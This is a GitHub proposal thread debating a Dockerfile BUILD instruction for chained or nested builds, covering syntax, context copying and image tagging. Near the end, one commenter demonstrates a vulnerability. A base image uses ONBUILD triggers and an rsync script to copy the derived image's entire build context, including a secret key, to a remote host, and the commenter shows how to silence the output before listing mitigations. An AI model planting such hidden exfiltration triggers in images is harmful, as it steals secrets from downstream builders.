Proposal: Dockerfile BUILD instruction

[proppy]

TLTR;

BUILD /rootfs/path/to/context == RUN docker build /rootfs/path/to/context

---

This was originally a fork of proposal #7115, as I didn't want to pollute the main discussion.

Suggested changes were:

• in Proposal: Nested builds #7115 the first argument to IN scopes and populates the rootfs of the inner build, and the context are shared w/ the outer build. With this proposal you explicitly pass a new context to the inner build, and you have to ADD or COPY file from the context to the image, just like a regular docker build.

Since then @tonistiigi made a simpler PoC in #8021, this proposal was then updated to match the PR.

---

Proposal

Most application that build from sources have a disjoint set of build and runtime dependencies/requirements. Because of convenience and in order to benefit from automated build, most images bundle both in their docker images.

A common example is a go application, where the go toolchain and possibly a C compiler is necessary to build the app, but busybox is totally fine to run it.

Another example is a java application, where the JDK is necessary to build the app, but the JRE is enough to run it.

This proposal derives the main ideas from #7115 and #8021 to introduce a simple syntax for allowing chained build with explicit contexts. The indent is to generalize and consolidate workarounds introduced w/ #5715 (docker run builder | docker build -t runner) into the main Dockerfile syntax.

New Dockerfile keyword BUILD

Usage:

BUILD <path/to/context> [path/to/Dockerfile]
[FROM ...
other Dockerfile instructions]...

Description:

BUILD triggers a new docker build job using a given context directory (coming from the image rootfs being built), followed by new Dockerfiles instructions.

Either the path/to/Dockerfile, or the Dockerfile are the root of the new <context> if present or the instructions following the BUILD command are used in-lieu-of the Dockerfile of the new build job: in that order; if instructions follow the BUILD command and path/to/Dockerfile is set or <context>/Dockerfile exists, the build is failed.

The new build start with a fresh rootfs populated from the inner FROM instructions and a fresh environments and replaces the current build job.

It is effectively equivalent to being able to call RUN docker build /path/to/context in a Dockerfile.

Example:

FROM ubuntu

RUN apt-get install build-essentials
ADD . /src
RUN cd /src && make

BUILD /src/build
FROM busybox
COPY app /usr/local/bin/app
EXPOSE 80
ENTRYPOINT /usr/local/bin/app

Note that:

• the context in chained build is different from the context in the previous build.
• docker build -t would tag the last chained build defined at the end the Dockerfile until there is a better support for naming distinct image in Dockerfile (the problem already exists today with multiple FROM)
• changes made to /src/build after the BUILD block won't be represented in the chained image
• chained BUILDs can't make change to the previous directory being passed as the context, much like regular build can't mutate the context: the context gets tared like regular docker build today and the inner BUILD operate on a copy.

[cyphar]

Wait, so each BUILD block is a separate set of Dockerfile instructions that relate to a subdirectory of the container (or of the host context?)? How does that play with containers? Are the filesystem changes committed to some "root" image that is used throughout the build? Are they executed in the order they are described in the file?

[proppy]

@cyphar I updated the description and cmmented below to answer your question. Let me know if there is still some questions.

so each BUILD block is a separate set of Dockerfile instructions that relate to a subdirectory of the container (or of the host context?)

Yes, a subdirectory of a container being built. Updated the description.

How does that play with containers? Are the filesystem changes committed to some "root" image that is used throughout the build?

The outer build container should be unaffected by the inner ones, much like a docker build doesn't have side effect on the context directory being passed.

Are they executed in the order they are described in the file?

Yes, updated the description.

[cyphar]

@proppy

The outer build container should be unaffected by the inner ones ...

Does that mean that the context is executed in a container with the directory of the context as the root? How do we deal with binaries in that case? If not, what will happen if someone modifies the outside directory? Is it not committed or is that undefined?

[proppy]

Does that mean that the context is executed in a container with the directory of the context as the root? How do we deal with binaries in that case? If not, what will happen if someone modifies the outside directory? Is it not committed or is that undefined?

The context directory gets tared before running the inner build, just like docker build today, The inner BUILD effectively operate on a copy: You can really think of it as if you were allowed to run RUN docker build /some/directory in your Dockerfile.

I updated the description, let me know if it still isn't clear.

[shykes]

What's the difference with #7115 other than renaming IN to BUILD?

[proppy]

@shykes in #7115 the first argument to IN scopes and populates the rootfs of the inner build and the context are shared w/ the outer build. With this proposal you explicitly pass a new context to the inner build, and you have to ADD or COPY file from the context to the image, just like a regular docker build.

I will clarify the Description to point out the main difference between #7115 and this one at the top.

[shykes]

I see. Thanks for clarifying.

What about image naming? In your example above, what would be the resulting images?

[proppy]

@shykes (see the notes at the end of the proposal) it wouldn't be different from multiple FROM that are supported today: last build win the tag.

docker build -t would tag the last inner build defined at the end of the Dockerfile, until there is a better support for naming distinct image in Dockerfile (the problem already exists today with multiple FROM)

[chancez]

I would love to see this. It would make it so much easier to run builds where the build environment is one step, and the resulting image you generate could not include all the build artifacts.

[tonistiigi]

I like this proposal very much.

I would even more simplify it and lose the curly braces so that you can switch to a next build step but never come back. I think that its not a good idea to support support multiple build blocks in the same level. Goal of a Dockerfile should be to build a single target image, others should just be helpers.

For the tagging question, I think "last build wins tag" is a good solution. If we would use the linear syntax then the parent builder image could be auto tagged like mytag-builder and mytag-builder-builder.

@shykes I'd be happy to attempt an implementation of this if any of the project maintainers thinks this has a chance end up in upstream.

[ndeloof]

Looks good to me (from a functional point of view, didn't checked the code)
I have opposite opinion on @tonistiigi comment as I prefer the curly brace model that make it clear a nested Dockerfile is used and offer clear delimitation, as well as option to run nested and/or multiple "child" docker builds.

I also wonder BUILD /path/to/context (without curly braces next to command) could just pick-up another Dockerfile from context.

I'm not convince about the tagging model "last win". Maybe add an (optional) 2nd parameter to BUILD to define a suffix for tagging.

[dgageot]

I'm wondering if you have examples that demonstrates the need for multiple non-nested BUILD commands inside a Dockerfile.

[ndeloof]

@dgageot sample use-case : "build" Dockerfile to download oracle JDK, remote unnecessary stuff (docs, demos, src) then bootstrap a set of "production" Dockerfile for various linux distros

For sure this can also be addressed using branches. Anyway I'd prefer the syntax doesn't enforce some restriction we might found annoying later, until there some technical constraints to enforce it.

[dgageot]

@ndeloof To be really useful your scenario would need to tag every image, not just the last one. Wouldn't it?

[ndeloof]

yes, so my request for a 2nd argument to define the tag suffis, so I could docker build -t java8 and get java8-ubuntu, java8-debian, java8-centos
Please note this use-case is just a sample

[tonistiigi]

@ndeloof Hi. Hope you've seen #8021. Is there any use of shrinking the images in your use case or are you just mainly looking for a way to build multiple services using a single Dockerfile? The layer cache across Dockerfiles and including your own (project) base images still work with this proposal.

[WhisperingChaos]

The proposed design lacks a complete interface element. An interface provides a coupling point at the boundary layer that separates the internals of a function, its implementation, from the surrounding external invocation environment. At this coupling point, an interface features a mechanism to bind one or more external arguments to a corresponding set of variables internal to the function. This binding mechanism allows external argument names to be properly correlated and values transferred, even if their names are different, to their internal counterparts. Without this binding mechanism, all instances of function invocations must synchronize (couple) argument names/instances to the variables internal to the function. It’s this correlated binding mechanism that’s missing resulting in harmful coupling and its various effects.

• Build operators in level N images (inner level) couple to the implementation of images at M (outer level) where N>M. Therefore, changes to a desired artifact's name or location will require a change to at least one but potentially more inner levels relative to the image changed. In other words, changes in the build context created by an outer level ripple through all dependent inner levels. Intermediate inner levels may be unaffected by the change, but at least one innermost level will require recoding.
• Deters the reuse of "external" images, those not under direct control of the given Developer/Organization, because an external entity can unilaterally change its image's implementation. For example, changing either the name or location of a desired output file invalidates the file/directory references in Dockerfiles that rely on (consume) this file provided by the changed external image.
• Slows a Developer's ability to digest and compose a solution employing a composition of images, as the Developer must examine a relied on image's implementation (as identified by its FROM ), including its Dockerfile, as well as any Dockerfile commands that follow and are applied against the external image within the dependent image's Dockerfile, in order to identify the names and locations of artifacts available/produced by it for consumption by a dependent image.
• A Dockerfile employing the BUILD operator will typically prevent the direct coupling of other Dockerfile operators, such as ADD, to the initiating build context. This level of indirection can incur the inefficiency of requiring at least an additional copy operation to install an initiating build context artifact in the resulting image’s file system, as an artifact must first be copied to the transient file system of the outer build, then copied again from the transient build context to its final location.
• Since there isn’t a mechanism for an inner BUILD to affect the state of an outer level or its current build context, each artifact that requires a separate BUILD environment, due to component dependency issues, file system pollution concerns, or the need for a completely different environment, requires creation of another BUILD level pushing the resulting image’s BUILD operation down another level and creating additional build contexts. Each intermediate build context must copy the build context from its immediate parent and add its own artifacts to it. Again, introducing inefficiency due to additional copying while increasing the coupling between layers, in order to produce the next aggregate context passed to the next deepest BUILD operation.
• As alluded to above, the BUILD operator to create the resultant image can’t be executed until after its aggregate build context is completely assembled. For complex images, the Dockerfile can be a few pages long and due to the semantics of constructing the final aggregated context, the code’s indentation level can potentially be extreme and the last few lines will will simply be the level termination character: “}”. These coding concerns can impact both readability and introduce errors. For example, the first (outermost) BUILD operator’s level termination character would most likely be the last character in the Dockerfile. In the situation which requires the deletion of the initial BUILD operator, the individual editing the Dockerfile must remember to scroll down to the last page to remove its level termination character.
• Nullifies the Dockerfile convention of first FROM which currently produces a resultant, persistent image.

Suggest review of this proposal: 8660.

[stp-ip]

Any update on any solution for BUILD or similar?

[stp-ip]

Seems no BUILD instruction or nested build implementation is coming any time soon. Would make source based containers and minimal containers much easier to build and even test.

[proppy]

@tiborvass I like @tonistiigi implementation in #8021 (without the nesting) better.

I'd say that the ENV is not inherited, ENV are constant anyway so if you need them in a later BUILD you can just re-declare them, and if you need to pass information from a previous build, you can just do so thru the context.

[tiborvass]

@proppy yes, I keep his implementation in mind. I really like it. I'll try to push it on.

[tiborvass]

@proppy would you mind updating your proposal to match his implementation? That way we'll be able to approve it here.

[proppy]

@tiborvass I'm happy to update the proposal to match #8021, would that help to move things forwards?

[tiborvass]

@proppy jynx :)

[tiborvass]

Another thing to think about, is what should docker build output for the intermediate image. Could be useful to see which ID is actually the first image, since I assume it would not be deleted.

[proppy]

@tiborvass Done, re: intermediate image there is a note about that

docker build -t would tag the last chained build defined at the end the Dockerfile until there is a better support for naming distinct image in Dockerfile (the problem already exists today with multiple FROM)

[proppy]

/ping @tonistiigi can you proof read the updated version and make sure I didn't miss-represent your implementation?

[tonistiigi]

changes made to /src/build after the BUILD block won't be represented in the chained image (but /src/build might be reused in another BUILD block in the same image).

This one confuses me a bit. You can never go back to the parent build, so there is no way to change anything in /src/build. The path to the context loses its meaning after BUILD the same way as the daemon doesn't know the path you used for context in the client side. When multiple BUILD commands are used the context path points to the directory in the last image.

path/to/Dockerfile is not in #8021 but only because that code predates custom Dockerfiles. We should define that when this path is set and you have more commands after the BUILD then this will return a build error. Other way would be to concatenate but I think it just complicates things.

Parent tagging is also different but I'm ok with leaving this out until there is an idea that everybody can agree upon.

[proppy]

This one confuses me a bit. You can never go back to the parent build,

@tonistiigi you're right, that was a left over from the previous proposal. Updated the description.

Other way would be to concatenate but I think it just complicates things.

Added: "if instructions follow the BUILD command and path/to/Dockerfile is set or /Dockerfile exists, the build is failed."

Parent tagging is also different but I'm ok with leaving this out until there is an idea that everybody can agree upon.

I think we could keep it simple and dodge parent tagging for now? It's not core to the proposal and can always be introduced later, what do you think?

[tonistiigi]

I think we could keep it simple and dodge parent tagging for now? It's not core to the proposal and can always be introduced later, what do you think?

I agree.

[stp-ip]

Given one of my projects is doing a "building everything from source" kind of thing, I have some ideas I wanted to get out.
Here is an example of what I imagine:

FROM ubuntu
ADD https://example.com/dep1/dockerfile /dep1/dockerfile
ADD https://example.com/dep2/dockerfile /dep2/dockerfile

BUILD /src/ /dep1/dockerfile
{FROM busybox
RUN touch "dep1"}

BUILD /src/ ../dep2/dockerfile
{FROM busybox
RUN touch "dep2"}

RUN apt-get install build-essentials
ADD . /src
RUN cd /src && make

BUILD /src/ ../dep2/dockerfile
FROM busybox
COPY /dep1 /dep/dep1
COPY /dep2 /dep/dep2
COPY app /usr/local/bin/app
EXPOSE 80
ENTRYPOINT /usr/local/bin/app

First I like the general notion of nested builds. Furthermore using predefined dockerfiles for a given nested build simplifies code deduplication and if that's possible would make pluggable docker compositions a much easier thing to do.
One thing I could not yet figure out, how one could provide additional data to a nested build.
For example one does prepare dep1 to build a specific environment, but with the ability to switch versions. Could one inject ENVs into a nested build, which overwrites a default version for example or would one go another route as shown here:

FROM ubuntu
ADD https://example.com/dep1/dockerfile_v0.0.1 /dep1/dockerfile
ADD https://example.com/dep2/dockerfile_v12.1 /dep2/dockerfile

BUILD /src/ /dep1/dockerfile
{FROM busybox
RUN touch "dep1"}

BUILD /src/ ../dep2/dockerfile
{FROM busybox
RUN touch "dep2"}

RUN apt-get install build-essentials
ADD . /src
RUN cd /src && make

BUILD /src/ ../dep2/dockerfile
FROM busybox
COPY /dep1 /dep/dep1
COPY /dep2 /dep/dep2
COPY app /usr/local/bin/app
EXPOSE 80
ENTRYPOINT /usr/local/bin/app

So instead of injecting versions into an abstracted build one would just version the actual dockerfiles. This would enable more reproducable builds and makes upgrades easier. On the other hand this pushes versions into the dockerfile. To update to a new version one doesn't just have to bump the version number, but has to create a new dockerfile (code duplication probably) and reference this in the nested build.

Minimal images build completely from source, without the need of packagers (only dockerers) here we come.

[duglin]

strictly from a syntax perspective, {}'s will probably more complex to support given } could be a valid thing to appear in a command. I think doing something like:

BUILD
...
ENDBUILD

would be less disruptive and less chance of causing issues.

[proppy]

Note that updated proposal based on #8021 implementation doesn't really support 'nested build', but rather 'chained build', i.e: the new BUILD job replace the previous one.

[WhisperingChaos]

Chained Build's entangled coupling creates artificial dependencies between links (build steps) in the chain, resulting in following build time deficiencies when compared to better encapsulated solutions:

• Diminished performance of cached builds, as all statements of a chained build's exposed implementation trigger a cache validation. This includes the ADD/COPY statements necessary to construct the build context required by the next step.

  However, a decoupled and encapsulated approach limits cache evaluation to what's necessary, a single checksum aggregated from: input/output argument bindings, input file checksums defined by its invocation, and the invoked image's checksum. In this situation the individual commands representing implementation are ignored, as they are reflected by the image's checksum.

• Imbues needless complexity to optimizers that would improve both cached and non-cached build times. Chained builds require complex optimization algorithms, relative to loosely coupled and encapsulated solutions, in order to decouple the artificial output to input dependencies forged by the chained build contexts (artifacts generated by step N that pass through intermediate steps until reaching final destination M,where M>N+1 ). Additionally, the optimization process would have to identify and isolate the essential core statements of a chained step (a step's body) so these core statements can be encapsulated and executed independently. Specifically, the following optimizations would be more difficult to realize for Chained Build:

  • Concurrent/parallel execution of either a build step's cache validation and if invalidated, its (concurrent) execution. Parallel execution accelerates the apparent build speed (not CPU time), when compared to serially running the build steps.
  • Avoiding repeated evaluations for build step invocations whose input argument values are the same. In this situation, the previously computed output value(s) can simply replace the the build step.

[WhisperingChaos]

A Nested/Chained Build inescapably propagates an existing vulnerability that can be exploited directly/indirectly by malware to pilfer secret/confidential/sensitive content required to configure an image. Secrets, such as, a software license key or an unlocked binary required to construct or be incorporated into the resultant image, that are provided by the initial build context or later added to a successor one become a resource available through a step's build context. Since a given step's nested/chained build context must include what's required by the current and convey artifacts already specified/generated for all subsequent build steps, the context provided to any given intermediate step, typically represents a superset of artifacts required to satisfy its needs. Therefore, this entire superset of resources becomes readable to any process running within an intermediate step. For example, if a third build step requires a secret key supplied by the initiating build context, this key must be conveyed via the build contexts of the first and second build steps, revealing the key's value to processes executing in these steps. Combine this required transfer with the semantics of "adaptive operators", static coding forms that automatically/naturally extend themselves, like the Dockerfile "ADD . /gopath/src/app/" (see google / golang-runtime @proppy) which silently and spontaneously extends itself to include all resources defined by the build context and one can imagine intentionally copying the current build context to a remote adversarial host or unintentionally, when an expected payload inadvertently includes some/all of the superset resources.

Again, Nested/Chained Build's weak encapsulation and tight coupling prevent its currently proposed implementation from presenting a step with the minimal interface/attack surface required to perform its objective.

Again, a more strongly encapsulated and weakly coupled solution that offers a mechanism to explicitly enumerate the resources provided to a particular build step, must be implemented to avoid the exploit.

Exploit Based on Vulnerability

What's provided below is a simple, working exploit involving a secret key included in an image's build context.

Although this section focuses on illustrating a security exploit based on the vulnerability, this vulnerability also affects an image's build or runtime stability, as the build context will, while runtime context might contain additional, unexpected artifacts that may cause a process to fail that would have otherwise succeeded.

Base Image Exploit

Create a base image incorporating a trigger to copy the build context via an "adaptive operator", in this case, Dockerfile "ADD .", to a directory within the image's file system. A subsequent trigger statement then executes a transfer mechanism, in this instance implemented as rsync, to deliver the entire build context to a remote server (bfosberry/rsync). "compile.sh" obfuscates the rsync transfer mechanism. As indicated above, the motivation for the transfer can be either malicious or unintentional. For example, compile.sh may represent a benignly encoded process that transfers "source code" to a remote compiler which generates output executables that are returned and included in the resulting image. However, regardless of the motivation, this encoding exposes the secret key.

Build Context

/
    Dockerfile
    compile.sh: rsync -avP /source rsync://172.17.2.19/data/

Base Image Dockerfile

    FROM ubuntu
    RUN apt-get update && \
        DEBIAN_FRONTEND=noninteractive apt-get install -yq \
        rsync
    ADD ./compile.sh /
    RUN mkdir -p /source
    RUN chmod a+rw /source

    ONBUILD ADD . /source
    ONBUILD RUN /compile.sh

Derived Image

Inherits from base image constructed above.

Build Context

/
    Dockerfile
/source
    SourceCode.go
/secret
    SecretKey.txt

Derived Image's Dockerfile

FROM compilebase

Build the derived image. Notice the generated rsync messages include copying the secret key and Dockerfile in addition to the go source code. The secret is now public. Also, SecretKey.txt and Dockerfile artifacts will participate in the compilation process. If considered by the compiler, these files may result in the artificial failure of what would have been a successful compile.

docker build -t compilederived .
Sending build context to Docker daemon 5.632 kB
Sending build context to Docker daemon 
Step 0 : FROM compilebase
# Executing 2 build triggers
Trigger 0, ADD . /source/
Step 0 : ADD . /source/
Trigger 1, RUN /compile.sh
Step 0 : RUN /compile.sh
 ---> Running in fb058a7ccb8a
sending incremental file list
source/
source/Dockerfile
             16 100%    0.00kB/s    0:00:00 (xfr#1, to-chk=4/6)
source/secret/
source/secret/SecretKey.txt
             11 100%   10.74kB/s    0:00:00 (xfr#2, to-chk=1/6)
source/source/
source/source/SourceCode.go
             12 100%   11.72kB/s    0:00:00 (xfr#3, to-chk=0/6)

sent 366 bytes  received 101 bytes  934.00 bytes/sec
total size is 39  speedup is 0.08
 ---> 6ed27777791d
Removing intermediate container 0e98546cd9d9
Removing intermediate container fb058a7ccb8a
Successfully built 6ed27777791d

A simple redirection of rsync output further obfuscates the exploit by eliminating the rsync transfer messages, thereby, minimizing its detection.

docker build -t compilederived .
Sending build context to Docker daemon 5.632 kB
Sending build context to Docker daemon 
Step 0 : FROM compilebase
# Executing 2 build triggers
Trigger 0, ADD . /source/
Step 0 : ADD . /source/
Trigger 1, RUN /compile.sh
Step 0 : RUN /compile.sh
 ---> Running in 21bbad735953
 ---> 0ee6bff3382f
Removing intermediate container 5cd8d3185f8b
Removing intermediate container 21bbad735953
Successfully built 0ee6bff3382f

As alluded to above, the vulnerability already exists for Dockerfiles, especially those implementing multiple FROM statements, as no mechanism currently exists to limit any single FROM image's consumption of the entire initial build context.

However, the vulnerability can currently be mitigated by

• Avoiding Dockerfile "ADD ." or similar adaptive commands whose scope cannot be bounded when defining an image. For example, "ADD ." scope includes any build context imaginable preventing its partitioning.
• Using adaptive commands whose scope can be bounded, like "ADD ./source" (either file or directory name), limits the scope of its adaptive nature to a partition named "source". Within the universe of build contexts and in practice, a much smaller piece then the whole.
• Avoiding Dockerfile commands that execute "arbitrary" processes within the current FROM image (container) context. Even though the context of a process' execution can be maliciously altered, for example, ENV PATH=, these changes do not matter within the build environment until acted on when executing a build process. For example, executing RUN either directly or through on ONBUILD trigger.
• Constructing a new image using minimal and trusted ones, like scratch.

[proppy]

Closing as per https://github.com/docker/docker/blob/master/ROADMAP.md#22-dockerfile-syntax